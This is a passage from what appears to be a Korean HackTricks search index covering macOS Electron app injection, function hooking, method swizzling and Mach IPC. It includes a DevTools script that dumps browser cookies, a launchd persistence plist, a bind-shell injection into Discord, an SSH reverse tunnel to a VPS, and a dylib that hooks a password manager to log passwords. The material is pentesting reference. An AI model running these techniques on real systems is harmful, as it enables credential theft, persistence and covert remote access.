\\"id\\".\\n\\"\\"\\"\\nglobal CONT CONT += 1 # Send the command\\nawait ws.send(json.dumps({\\"id\\": CONT, \\"method\\": method, \\"params\\": params}))\\nsleep(0.4) # Read messages until we get our command result\\nwhile True:\\nresponse = await ws.recv()\\ndata = json.loads(response) # Print for debugging\\nprint(f\\"[{method} / {CONT}] ->\\", data) if get_first:\\nreturn data # If this message is a response to our command (by matching \\"id\\"), break\\nif data.get(\\"id\\") == CONT:\\nreturn data # Otherwise it\'s an event or unrelated message; keep reading if __name__ == \\"__main__\\":\\nasyncio.run(main()) caution 만약 퓨즈 **EnableNodeCliInspectArguments**가 비활성화되어 있다면, 앱은 노드 매개변수 (예: --inspect)를 무시하고 실행되며, 환경 변수 **ELECTRON_RUN_AS_NODE**가 설정되지 않는 한 무시됩니다. 또한 퓨즈 **RunAsNode**가 비활성화되어 있으면 이 변수도 무시됩니다 . 그러나 **electron 매개변수 --remote-debugging-port=9229**를 사용하여 Electron 앱에서 히스토리 (GET 명령어로)나 브라우저의 쿠키 를 훔칠 수 있습니다(브라우저 내에서 복호화 되며, 이를 제공하는 json 엔드포인트 가 있습니다). 이 방법에 대해서는 여기 와 여기 에서 배울 수 있으며, 자동 도구 WhiteChocolateMacademiaNut 이나 다음과 같은 간단한 스크립트를 사용할 수 있습니다: python import websocket\\nws = websocket.WebSocket()\\nws.connect(\\"ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00\\", suppress_origin=True)\\nws.send(\'{\\\\\\"id\\\\\\": 1, \\\\\\"method\\\\\\": \\\\\\"Network.getAllCookies\\\\\\"}\')\\nprint(ws.recv()","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Electron Applications Injection » RCE with inspecting","id":"2372","title":"RCE with inspecting"},"2373":{"body":"이 env 변수를 plist에서 악용하여 지속성을 유지할 수 있습니다. 다음 키를 추가하세요: xml \\nProgramArguments\\n\\n/Applications/Slack.app/Contents/MacOS/Slack\\n--inspect\\n\\nLabel\\ncom.hacktricks.hideme\\nRunAtLoad\\n\\n","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Electron Applications Injection » Injection from the App Plist","id":"2373","title":"Injection from the App Plist"},"2374":{"body":"tip macOS의 TCC 데몬은 실행된 애플리케이션의 버전을 확인하지 않습니다. 따라서 이전 기술로 Electron 애플리케이션에 코드를 주입할 수 없는 경우 APP의 이전 버전을 다운로드하고 그 위에 코드를 주입할 수 있습니다. 그러면 여전히 TCC 권한을 받을 수 있습니다(Trust Cache가 이를 방지하지 않는 한).","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Electron Applications Injection » TCC 우회 구버전 악용","id":"2374","title":"TCC 우회 구버전 악용"},"2375":{"body":"이전 기술을 사용하면 Electron 애플리케이션의 프로세스 내에서 JS 코드를 실행 할 수 있습니다. 그러나 자식 프로세스는 부모 애플리케이션과 동일한 샌드박스 프로필에서 실행되며 TCC 권한을 상속 합니다. 따라서 예를 들어 카메라나 마이크에 접근하기 위해 권한을 악용하고 싶다면, 프로세스에서 다른 바이너리를 실행 하면 됩니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Electron Applications Injection » 비 JS 코드 실행","id":"2375","title":"비 JS 코드 실행"},"2376":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Electron Applications Injection » 주목할 만한 Electron macOS 취약점 (2023-2024)","id":"2376","title":"주목할 만한 Electron macOS 취약점 (2023-2024)"},"2377":{"body":"Electron ≤22.3.23 및 다양한 23-27 프리 릴리스는 .app/Contents/Resources 폴더에 쓰기 권한이 있는 공격자가 embeddedAsarIntegrityValidation 및 onlyLoadAppFromAsar 퓨즈를 우회할 수 있게 했습니다. 이 버그는 무결성 검사기에서 발생한 파일 유형 혼동 으로, 검증된 아카이브 대신 app.asar라는 이름의 디렉토리 가 로드되도록 했습니다. 따라서 해당 디렉토리에 배치된 모든 JavaScript는 앱이 시작될 때 실행되었습니다. 하드닝 가이드를 따르고 두 퓨즈를 모두 활성화한 공급업체조차도 macOS에서 여전히 취약했습니다. 패치된 Electron 버전: 22.3.24 , 24.8.3 , 25.8.1 , 26.2.1 및 27.0.0-alpha.7 . 이전 빌드를 실행 중인 애플리케이션을 발견한 공격자는 Contents/Resources/app.asar를 자신의 디렉토리로 덮어써서 애플리케이션의 TCC 권한으로 코드를 실행할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Electron Applications Injection » CVE-2023-44402 – ASAR 무결성 우회","id":"2377","title":"CVE-2023-44402 – ASAR 무결성 우회"},"2378":{"body":"2024년 1월, 일련의 CVE(CVE-2024-23738부터 CVE-2024-23743까지)가 많은 Electron 앱이 여전히 RunAsNode 및 EnableNodeCliInspectArguments 퓨즈를 활성화한 상태로 배포된다는 점을 강조했습니다. 따라서 로컬 공격자는 환경 변수 ELECTRON_RUN_AS_NODE=1 또는 --inspect-brk와 같은 플래그를 사용하여 프로그램을 다시 시작하여 일반 Node.js 프로세스로 전환하고 애플리케이션의 모든 샌드박스 및 TCC 권한을 상속받을 수 있습니다. Electron 팀은 “치명적” 등급에 이의를 제기하고 공격자가 이미 로컬 코드 실행이 필요하다고 언급했지만, 이 문제는 포스트 익스플로잇 중에 여전히 가치가 있습니다. 왜냐하면 취약한 Electron 번들을 자원 활용 바이너리로 전환하여 예를 들어 연락처, 사진 또는 이전에 데스크탑 앱에 부여된 기타 민감한 리소스를 읽을 수 있기 때문입니다. Electron 유지 관리자의 방어 지침: 프로덕션 빌드에서 RunAsNode 및 EnableNodeCliInspectArguments 퓨즈를 비활성화하십시오. 애플리케이션이 정당하게 도우미 Node.js 프로세스가 필요하다면, 이러한 퓨즈를 다시 활성화하는 대신 최신 UtilityProcess API를 사용하십시오.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Electron Applications Injection » 2024 “RunAsNode” / “enableNodeCliInspectArguments” CVE 클러스터","id":"2378","title":"2024 “RunAsNode” / “enableNodeCliInspectArguments” CVE 클러스터"},"2379":{"body":"electroniz3r 도구 electroniz3r 는 취약한 Electron 애플리케이션 을 쉽게 찾아서 그 위에 코드를 주입하는 데 사용할 수 있습니다. 이 도구는 --inspect 기술을 사용하려고 시도합니다: 직접 컴파일해야 하며 다음과 같이 사용할 수 있습니다: bash # Find electron apps\\n./electroniz3r list-apps ╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗\\n║ Bundle identifier │ Path ║\\n╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝\\ncom.microsoft.VSCode /Applications/Visual Studio Code.app\\norg.whispersystems.signal-desktop /Applications/Signal.app\\norg.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app\\ncom.neo4j.neo4j-desktop /Applications/Neo4j Desktop.app\\ncom.electron.dockerdesktop /Applications/Docker.app/Contents/MacOS/Docker Desktop.app\\norg.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app\\ncom.github.GitHubClient /Applications/GitHub Desktop.app\\ncom.ledger.live /Applications/Ledger Live.app\\ncom.postmanlabs.mac /Applications/Postman.app\\ncom.tinyspeck.slackmacgap /Applications/Slack.app\\ncom.hnc.Discord /Applications/Discord.app # Check if an app has vulenrable fuses vulenrable\\n## It will check it by launching the app with the param \\"--inspect\\" and checking if the port opens\\n/electroniz3r verify \\"/Applications/Discord.app\\" /Applications/Discord.app started the debug WebSocket server\\nThe application is vulnerable!\\nYou can now kill the app using `kill -9 57739` # Get a shell inside discord\\n## For more precompiled-scripts check the code\\n./electroniz3r inject \\"/Applications/Discord.app\\" --predefined-script bindShell /Applications/Discord.app started the debug WebSocket server\\nThe webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5\\nShell binding requested. Check `nc 127.0.0.1 12345` https://github.com/boku7/Loki Loki는 Electron 애플리케이션의 JavaScript 파일을 Loki Command & Control JavaScript 파일로 교체하여 백도어를 설계했습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Electron Applications Injection » 자동 주입","id":"2379","title":"자동 주입"},"238":{"body":"DNS는 roaming infrastructures에서 거의 항상 열려 있습니다. 내부 SSH 서비스를 VPS에 listening on :53으로 노출시키고 집에서 나중에 접속하세요: bash ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com VPS에서 GatewayPorts yes가 활성화되어 있는지 확인하세요.","breadcrumbs":"Pentesting Network » Telecom Network Exploitation » 4.2 SSH Reverse Tunnel over Port 53","id":"238","title":"4.2 SSH Reverse Tunnel over Port 53"},"2380":{"body":"https://www.electronjs.org/docs/latest/tutorial/fuses https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks https://github.com/electron/electron/security/advisories/GHSA-7m48-wc93-9g85 https://www.electronjs.org/blog/statement-run-as-node-cves https://m.youtube.com/watch?v=VWQY5R2A6X8 tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Electron Applications Injection » References","id":"2380","title":"References"},"2381":{"body":"Reading time: 9 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Function Hooking » macOS Function Hooking","id":"2381","title":"macOS Function Hooking"},"2382":{"body":"__interpose (__DATA___interpose) 섹션이 있는 dylib 를 생성합니다 (또는 S_INTERPOSING 플래그가 있는 섹션). 이 섹션에는 원본 함수와 대체 함수를 참조하는 함수 포인터 의 튜플이 포함되어야 합니다. 그런 다음, **DYLD_INSERT_LIBRARIES**를 사용하여 dylib를 주입 합니다 (인터포징은 메인 앱이 로드되기 전에 발생해야 합니다). 명백히 DYLD_INSERT_LIBRARIES 사용에 적용되는 제한 사항 이 여기에도 적용됩니다 .","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Function Hooking » Function Interposing","id":"2382","title":"Function Interposing"},"2383":{"body":"interpose.c\\nhello.c\\ninterpose2.c interpose.c\\" overflow=\\"wrap // gcc -dynamiclib interpose.c -o interpose.dylib\\n#include \\n#include int my_printf(const char *format, ...) {\\n//va_list args;\\n//va_start(args, format);\\n//int ret = vprintf(format, args);\\n//va_end(args); int ret = printf(\\"Hello from interpose\\\\n\\");\\nreturn ret;\\n} __attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf\\n__attribute__ ((section (\\"__DATA,__interpose\\"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf }; c //gcc hello.c -o hello\\n#include int main() {\\nprintf(\\"Hello World!\\\\n\\");\\nreturn 0;\\n} c // Just another way to define an interpose\\n// gcc -dynamiclib interpose2.c -o interpose2.dylib #include #define DYLD_INTERPOSE(_replacement, _replacee) \\\\\\n__attribute__((used)) static struct { \\\\\\nconst void* replacement; \\\\\\nconst void* replacee; \\\\\\n} _interpose_##_replacee __attribute__ ((section(\\"__DATA, __interpose\\"))) = { \\\\\\n(const void*) (unsigned long) &_replacement, \\\\\\n(const void*) (unsigned long) &_replacee \\\\\\n}; int my_printf(const char *format, ...)\\n{\\nint ret = printf(\\"Hello from interpose\\\\n\\");\\nreturn ret;\\n} DYLD_INTERPOSE(my_printf,printf); bash DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello\\nHello from interpose DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello\\nHello from interpose warning DYLD_PRINT_INTERPOSTING 환경 변수를 사용하여 인터포징을 디버그할 수 있으며, 인터포즈 프로세스를 출력합니다. 또한 인터포징은 프로세스와 로드된 라이브러리 사이에서 발생하며 , 공유 라이브러리 캐시와는 작동하지 않습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Function Hooking » Interpose printf","id":"2383","title":"Interpose printf"},"2384":{"body":"이제 dyld_dynamic_interpose 함수를 사용하여 동적으로 함수를 인터포즈할 수 있습니다. 이를 통해 시작할 때만 하는 것이 아니라 런타임에 프로그램적으로 함수를 인터포즈할 수 있습니다. 대체할 함수와 대체 함수의 튜플 을 지정하기만 하면 됩니다. c struct dyld_interpose_tuple {\\nconst void* replacement;\\nconst void* replacee;\\n};\\nextern void dyld_dynamic_interpose(const struct mach_header* mh,\\nconst struct dyld_interpose_tuple array[], size_t count);","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Function Hooking » 동적 인터포징","id":"2384","title":"동적 인터포징"},"2385":{"body":"In ObjectiveC this is how a method is called like: [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2] 필요한 것은 객체 , 메서드 및 매개변수 입니다. 메서드가 호출될 때 msg가 전송 되며, 함수 **objc_msgSend**를 사용합니다: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2); 객체는 someObject , 메서드는 **@selector(method1p1:p2:)**이며, 인수는 value1 , value2 입니다. 객체 구조를 따라가면 메서드 배열 에 접근할 수 있으며, 여기에는 이름 과 메서드 코드에 대한 포인터 가 위치 합니다. caution 메서드와 클래스가 이름을 기반으로 접근되기 때문에 이 정보는 바이너리에 저장됩니다. 따라서 otool -ov 또는 class-dump 로 이를 검색할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Function Hooking » Method Swizzling","id":"2385","title":"Method Swizzling"},"2386":{"body":"메서드의 이름, 매개변수 수 또는 주소와 같은 정보를 다음 예제와 같이 접근할 수 있습니다: objectivec // gcc -framework Foundation test.m -o test #import \\n#import \\n#import int main() {\\n// Get class of the variable\\nNSString* str = @\\"This is an example\\";\\nClass strClass = [str class];\\nNSLog(@\\"str\'s Class name: %s\\", class_getName(strClass)); // Get parent class of a class\\nClass strSuper = class_getSuperclass(strClass);\\nNSLog(@\\"Superclass name: %@\\",NSStringFromClass(strSuper)); // Get information about a method\\nSEL sel = @selector(length);\\nNSLog(@\\"Selector name: %@\\", NSStringFromSelector(sel));\\nMethod m = class_getInstanceMethod(strClass,sel);\\nNSLog(@\\"Number of arguments: %d\\", method_getNumberOfArguments(m));\\nNSLog(@\\"Implementation address: 0x%lx\\", (unsigned long)method_getImplementation(m)); // Iterate through the class hierarchy\\nNSLog(@\\"Listing methods:\\");\\nClass currentClass = strClass;\\nwhile (currentClass != NULL) {\\nunsigned int inheritedMethodCount = 0;\\nMethod* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount); NSLog(@\\"Number of inherited methods in %s: %u\\", class_getName(currentClass), inheritedMethodCount); for (unsigned int i = 0; i < inheritedMethodCount; i++) {\\nMethod method = inheritedMethods[i];\\nSEL selector = method_getName(method);\\nconst char* methodName = sel_getName(selector);\\nunsigned long address = (unsigned long)method_getImplementation(m);\\nNSLog(@\\"Inherited method name: %s (0x%lx)\\", methodName, address);\\n} // Free the memory allocated by class_copyMethodList\\nfree(inheritedMethods);\\ncurrentClass = class_getSuperclass(currentClass);\\n} // Other ways to call uppercaseString method\\nif([str respondsToSelector:@selector(uppercaseString)]) {\\nNSString *uppercaseString = [str performSelector:@selector(uppercaseString)];\\nNSLog(@\\"Uppercase string: %@\\", uppercaseString);\\n} // Using objc_msgSend directly\\nNSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));\\nNSLog(@\\"Uppercase string: %@\\", uppercaseString2); // Calling the address directly\\nIMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address\\nNSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp\\nNSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method\\nNSLog(@\\"Uppercase string: %@\\", uppercaseString3); return 0;\\n}","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Function Hooking » Accessing the raw methods","id":"2386","title":"Accessing the raw methods"},"2387":{"body":"함수 **method_exchangeImplementations**는 하나의 함수의 구현 주소를 다른 함수로 변경 할 수 있게 해줍니다. caution 따라서 함수가 호출될 때 실행되는 것은 다른 함수 입니다. objectivec //gcc -framework Foundation swizzle_str.m -o swizzle_str #import \\n#import // Create a new category for NSString with the method to execute\\n@interface NSString (SwizzleString) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from; @end @implementation NSString (SwizzleString) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {\\nNSLog(@\\"Custom implementation of substringFromIndex:\\"); // Call the original method\\nreturn [self swizzledSubstringFromIndex:from];\\n} @end int main(int argc, const char * argv[]) {\\n// Perform method swizzling\\nMethod originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));\\nMethod swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));\\nmethod_exchangeImplementations(originalMethod, swizzledMethod); // We changed the address of one method for the other\\n// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex\\n// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled // Example usage\\nNSString *myString = @\\"Hello, World!\\";\\nNSString *subString = [myString substringFromIndex:7];\\nNSLog(@\\"Substring: %@\\", subString); return 0;\\n} warning 이 경우 정상적인 메서드의 구현 코드 가 메서드 이름 을 검증 하면 이 스위즐링을 감지 하고 실행을 방지할 수 있습니다. 다음 기술은 이러한 제한이 없습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Function Hooking » Method Swizzling with method_exchangeImplementations","id":"2387","title":"Method Swizzling with method_exchangeImplementations"},"2388":{"body":"이전 형식은 서로 다른 두 메서드의 구현을 변경하기 때문에 이상합니다. method_setImplementation 함수를 사용하면 하나의 메서드의 구현을 다른 메서드로 변경 할 수 있습니다. 새로운 구현에서 호출하기 전에 원래 구현의 주소를 저장 하는 것을 잊지 마세요. 나중에 그 주소를 찾는 것이 훨씬 복잡해질 것입니다. objectivec #import \\n#import \\n#import static IMP original_substringFromIndex = NULL; @interface NSString (Swizzlestring) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from; @end @implementation NSString (Swizzlestring) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {\\nNSLog(@\\"Custom implementation of substringFromIndex:\\"); // Call the original implementation using objc_msgSendSuper\\nreturn ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);\\n} @end int main(int argc, const char * argv[]) {\\n@autoreleasepool {\\n// Get the class of the target method\\nClass stringClass = [NSString class]; // Get the swizzled and original methods\\nMethod originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:)); // Get the function pointer to the swizzled method\'s implementation\\nIMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:))); // Swap the implementations\\n// It return the now overwritten implementation of the original method to store it\\noriginal_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP); // Example usage\\nNSString *myString = @\\"Hello, World!\\";\\nNSString *subString = [myString substringFromIndex:7];\\nNSLog(@\\"Substring: %@\\", subString); // Set the original implementation back\\nmethod_setImplementation(originalMethod, original_substringFromIndex); return 0;\\n}\\n}","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Function Hooking » method_setImplementation을 이용한 메서드 스위즐링","id":"2388","title":"method_setImplementation을 이용한 메서드 스위즐링"},"2389":{"body":"이 페이지에서는 함수를 후킹하는 다양한 방법에 대해 논의했습니다. 그러나 이 방법들은 공격을 위해 프로세스 내에서 코드를 실행하는 것 을 포함합니다. 이를 위해 가장 쉬운 기술은 환경 변수를 통한 Dyld 주입 또는 하이재킹 입니다. 그러나 이것은 Dylib 프로세스 주입 을 통해서도 수행될 수 있다고 생각합니다. 그러나 두 옵션 모두 보호되지 않은 바이너리/프로세스에 제한적 입니다. 각 기술을 확인하여 제한 사항에 대해 더 알아보세요. 그러나 함수 후킹 공격은 매우 구체적이며, 공격자는 프로세스 내부에서 민감한 정보를 훔치기 위해 이를 수행합니다(그렇지 않으면 단순히 프로세스 주입 공격을 할 것입니다). 이 민감한 정보는 MacPass와 같은 사용자 다운로드 앱에 위치할 수 있습니다. 따라서 공격자의 벡터는 취약점을 찾거나 애플리케이션의 서명을 제거하고, 애플리케이션의 Info.plist를 통해 DYLD_INSERT_LIBRARIES 환경 변수를 주입하여 다음과 같은 내용을 추가하는 것입니다: xml LSEnvironment\\n\\nDYLD_INSERT_LIBRARIES\\n/Applications/Application.app/Contents/malicious.dylib\\n 그리고 재등록 애플리케이션: bash /System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app 해당 라이브러리에 정보를 유출하는 후킹 코드를 추가하세요: 비밀번호, 메시지... caution 최신 버전의 macOS에서는 애플리케이션 바이너리의 서명을 제거 하고 이전에 실행된 경우, macOS는 더 이상 애플리케이션을 실행하지 않습니다 . Library example objectivec // gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib // If you added env vars in the Info.plist don\'t forget to call lsregister as explained before // Listen to the logs with something like:\\n// log stream --style syslog --predicate \'eventMessage CONTAINS[c] \\"Password\\"\' #include \\n#import // Here will be stored the real method (setPassword in this case) address\\nstatic IMP real_setPassword = NULL; static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)\\n{\\n// Function that will log the password and call the original setPassword(pass, file_path) method\\nNSLog(@\\"[+] Password is: %@\\", password); // After logging the password call the original method so nothing breaks.\\nreturn ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);\\n} // Library constructor to execute\\n__attribute__((constructor))\\nstatic void customConstructor(int argc, const char **argv) {\\n// Get the real method address to not lose it\\nClass classMPDocument = NSClassFromString(@\\"MPDocument\\");\\nMethod real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:)); // Make the original method setPassword call the fake implementation one\\nIMP fake_IMP = (IMP)custom_setPassword;\\nreal_setPassword = method_setImplementation(real_Method, fake_IMP);\\n}","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Function Hooking » Hooking Attack Methodology","id":"2389","title":"Hooking Attack Methodology"},"239":{"body":"채널 전송 디코딩 비고 ICMP – EchoBackdoor ICMP Echo Req/Rep 4-byte key + 14-byte chunks (XOR) 순수한 수동 리스너, 아웃바운드 트래픽 없음 DNS – NoDepDNS UDP 53 XOR (key = funnyAndHappy) encoded in A-record octets *.nodep 서브도메인 감시 GTP – GTPDoor UDP 2123 AES-128-CBC blob in private IE 합법적인 GTP-C 트래픽과 섞여 작동 모든 implants는 watchdogs를 구현하며, 충돌 시 그들의 binaries를 timestomp 하고 re-spawn합니다.","breadcrumbs":"Pentesting Network » Telecom Network Exploitation » 5. 은밀 채널","id":"239","title":"5. 은밀 채널"},"2390":{"body":"https://nshipster.com/method-swizzling/ tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS Function Hooking » References","id":"2390","title":"References"},"2391":{"body":"Reading time: 32 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS IPC - Inter Process Communication","id":"2391","title":"macOS IPC - Inter Process Communication"},"2392":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » Mach 메시징을 통한 포트","id":"2392","title":"Mach 메시징을 통한 포트"},"2393":{"body":"Mach는 작업 을 자원을 공유하기 위한 가장 작은 단위 로 사용하며, 각 작업은 여러 스레드 를 포함할 수 있습니다. 이러한 작업과 스레드는 POSIX 프로세스와 스레드에 1:1로 매핑됩니다 . 작업 간의 통신은 Mach Inter-Process Communication (IPC)을 통해 이루어지며, 단방향 통신 채널을 활용합니다. 메시지는 포트 간에 전송되며 , 이는 커널에 의해 관리되는 일종의 메시지 큐 역할을 합니다. 포트 는 Mach IPC의 기본 요소입니다. 메시지를 전송하고 수신하는 데 사용될 수 있습니다. 각 프로세스는 IPC 테이블 을 가지고 있으며, 여기에서 프로세스의 mach 포트 를 찾을 수 있습니다. mach 포트의 이름은 실제로 숫자(커널 객체에 대한 포인터)입니다. 프로세스는 또한 다른 작업 에 포트 이름과 일부 권한을 전송할 수 있으며, 커널은 이 항목을 다른 작업의 IPC 테이블 에 나타나게 합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » 기본 정보","id":"2393","title":"기본 정보"},"2394":{"body":"작업이 수행할 수 있는 작업을 정의하는 포트 권한은 이 통신의 핵심입니다. 가능한 포트 권한 은 ( 정의는 여기서 ): 수신 권한 : 포트로 전송된 메시지를 수신할 수 있게 해줍니다. Mach 포트는 MPSC(다중 생산자, 단일 소비자) 큐로, 시스템 전체에서 각 포트에 대해 하나의 수신 권한만 존재할 수 있습니다(파이프와 달리, 여러 프로세스가 하나의 파이프의 읽기 끝에 대한 파일 설명자를 가질 수 있습니다). 수신 권한 을 가진 작업은 메시지를 수신하고 전송 권한을 생성 할 수 있어 메시지를 보낼 수 있습니다. 원래는 자신의 작업만이 자신의 포트에 대한 수신 권한을 가집니다 . 수신 권한의 소유자가 죽거나 이를 종료하면, 전송 권한은 쓸모없게 됩니다(죽은 이름) . 전송 권한 : 포트로 메시지를 전송할 수 있게 해줍니다. 전송 권한은 복제 될 수 있어, 전송 권한을 가진 작업이 이를 복제하고 세 번째 작업에 부여 할 수 있습니다. 포트 권한 은 Mac 메시지를 통해 전달 될 수 있습니다. 일회성 전송 권한 : 포트에 한 메시지를 전송하고 사라집니다. 이 권한은 복제될 수 없지만 , 이동 될 수 있습니다. 포트 집합 권한 : 단일 포트가 아닌 _포트 집합_을 나타냅니다. 포트 집합에서 메시지를 큐에서 제거하면 그 안에 포함된 포트 중 하나에서 메시지가 제거됩니다. 포트 집합은 Unix의 select/poll/epoll/kqueue처럼 여러 포트에서 동시에 수신하는 데 사용할 수 있습니다. 죽은 이름 : 실제 포트 권한이 아니라 단순한 자리 표시자입니다. 포트가 파괴되면, 해당 포트에 대한 모든 기존 포트 권한은 죽은 이름으로 변합니다. 작업은 다른 작업에 SEND 권한을 전송할 수 있어 , 메시지를 다시 보낼 수 있게 됩니다. SEND 권한은 복제될 수 있어, 작업이 이를 복제하고 세 번째 작업에 부여할 수 있습니다 . 이는 부트스트랩 서버 라는 중개 프로세스와 결합되어 작업 간의 효과적인 통신을 가능하게 합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » 포트 권한","id":"2394","title":"포트 권한"},"2395":{"body":"파일 포트는 Mac 포트에서 파일 설명자를 캡슐화할 수 있게 해줍니다( Mach 포트 권한 사용). 주어진 FD에서 fileport_makeport를 사용하여 fileport를 생성하고, 파일포트에서 FD를 생성하려면 fileport_makefd를 사용합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » 파일 포트","id":"2395","title":"파일 포트"},"2396":{"body":"앞서 언급했듯이, Mach 메시지를 사용하여 권한을 전송할 수 있지만, Mach 메시지를 전송할 권한이 없으면 권한을 전송할 수 없습니다 . 그렇다면 첫 번째 통신은 어떻게 설정될까요? 이를 위해 부트스트랩 서버 ( launchd in mac)가 관여하며, 모든 사용자가 부트스트랩 서버에 SEND 권한을 얻을 수 있으므로 , 다른 프로세스에 메시지를 전송할 권한을 요청할 수 있습니다: 작업 A 가 새 포트 를 생성하고, 그에 대한 수신 권한 을 얻습니다. 작업 A 는 수신 권한의 소유자로서 포트에 대한 전송 권한을 생성 합니다. 작업 A 는 부트스트랩 서버 와 연결을 설정 하고, 처음 생성한 포트에 대한 전송 권한을 서버에 전송 합니다. 누구나 부트스트랩 서버에 SEND 권한을 얻을 수 있다는 점을 기억하세요. 작업 A는 부트스트랩 서버에 bootstrap_register 